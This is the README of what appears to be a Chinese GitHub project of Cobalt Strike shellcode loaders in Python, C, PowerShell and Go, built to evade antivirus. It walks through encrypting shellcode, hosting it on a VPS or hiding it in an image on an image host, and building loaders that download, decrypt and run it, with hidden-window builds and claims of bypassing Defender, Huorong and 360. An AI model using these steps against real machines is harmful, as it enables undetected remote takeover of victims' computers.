git https://github.com/gality369/cs-loader
CS免殺,包括python版和C版本的(經測試Python打包的方式在win10上存在bug,無法運行,Win7測試無異常
V1.0: 目前測試可以過Defender/火絨的靜殺+動殺,360還沒測= =不想裝360全家桶了,可以自行測試
下一步開發計划:
V1.5: 加入C版本CS免殺(已完成)
V1.7:加入Powershell的免殺(已完成)
V2.0:開發出UI界面
V2.0: 開發成在線免殺平台(已完成)
PS: 在實際使用中發現圖形化界面不利於和其他工具結合,相比之下命令行的方式更具有擴展性
關於自己寫的在線免殺平台,暫不考慮開源,主要是覺得目前的技術還比較薄弱,如果有師傅想體驗可以聯系我
V3.0: 想辦法結合更多免殺技術(想去研究下進程注入/文件捆綁,不知道免殺效果怎樣)
- V3.1 增加了go版本(可過火絨/360/defender)
依賴環境
python:
- python2
- pyinstaller
- requests
C: VS2019默認就夠了
Powershell: Win10上測試沒有問題,也就是ps5.1,更低版本未測試
go: go
安裝
git clone https://github.com/Gality369/CS-Avoid-killing.git
使用
-
先通過CS生成C格式的shellcode:
Attacks -> packages -> Payload Generator
選擇一個listener然后生成一個C的shellcode(其實就是二進制代碼) -
Python版:
- 將生成的shellcode填入generator.py的shellcode變量中,填入一個Key,用於后續的RC4加密
- 運行generator.py,生成的payload自動保存在payload.txt中.
- 將payload.txt上傳到你的VPS中,后續生成的加載器會從VPS中獲取加密shellcode並在本地解密后執行
- 將在VPS上的payload路徑填入PyLoader.py的url變量中,填入你剛剛設置的Key
- 用
python pyinstaller.py -F -w PyLoader.py
打包文件,可執行文件在pyshellcode文件夾下的dist中,雙擊運行可以看到主機上線
效果一般
-
C版本:
- 按要求填入你自己的Key,shellcdoe長度和shellcode,執行
- 將第一行的數字復制進Loader的Base64ShellLen字段中,將第二行生成的加密shellcode保存在payload.txt文件中並將其放在服務器上(~~如果不叫這名或者不在跟路徑,需要自己改
char request[1024] = "GET /RC4Payload32.txt HTTP/1.1\r\nHost:";
中的路徑) 在path中填入可以訪問到payload的路徑即可(Ex: /test/payload.txt) - 在Loader中填入自己的Key和VPS的IP,編譯
- 執行編譯出的exe,CS上線
-
Powershell版本:
- 在CS中生成Powershell版本的payload.ps1
- Python3 PSconfusion.py payload.ps1 AVpayload.ps1
- 經測試能過目前所有殺軟的靜殺,動殺的話,由於CS中有些模塊不免殺,所以加載這些模塊時可能會觸發動殺,這個以后再研究怎么繞過
-
go版本:
- 將一張不要太大的圖片放入同一文件夾下
- 將生成的shellcode填入generator.py的shellcode變量中, 執行
python generator YourRC4key ImageName
,生成的shellcode會自動追加到圖片末尾 - 將圖片上傳至圖床(找那種不會壓縮的圖床,保證shellcode不會被刪掉)
- 將圖片url和你的RC4key填入CS-Loader.go的相應位置
- 使用命令
go build -ldflags="-H windowsgui" CS-Loader.go
生成exe,可以用upx壓縮下 - 執行exe,CS上線
注意
-
pyinstaller安裝細節
最后一個支持python2的版本是3.6(最新版pyinstall不再支持python2)
網址:https://github.com/pyinstaller/pyinstaller/releases
需要安裝pywin32:https://github.com/mhammond/pywin32
-
目標是什么環境就在什么環境上打包,否則可能會出現無法上線的情況,不推薦使用py3對項目進行改造,ctypes對py3的支持不太好,會有些莫名其妙的bug
-
經過測試,C版本在X86Debug模式編譯下無任何問題,Release模式下會存在莫名bug,在某些電腦上無法正常上線,請根據需求自行測試
-
編譯選項不要選擇動態編譯,否則可能會因為目標靶機上缺少相應dll而無法運行.
-
加載ps腳本的方式這里不做討論,有師傅已經總結的非常好了,請自行百度
-
go版本build前建議先
set GOARCH=amd64
,同時使用64位的shellcode,32位打包出來的程序會報一個在ntdll中找不到函數的錯誤,曾有人提問過:https://stackoverflow.com/questions/58649055/failed-to-find-rtlcopymemory-procedure-in-ntdll-dll-only-when-goarch-386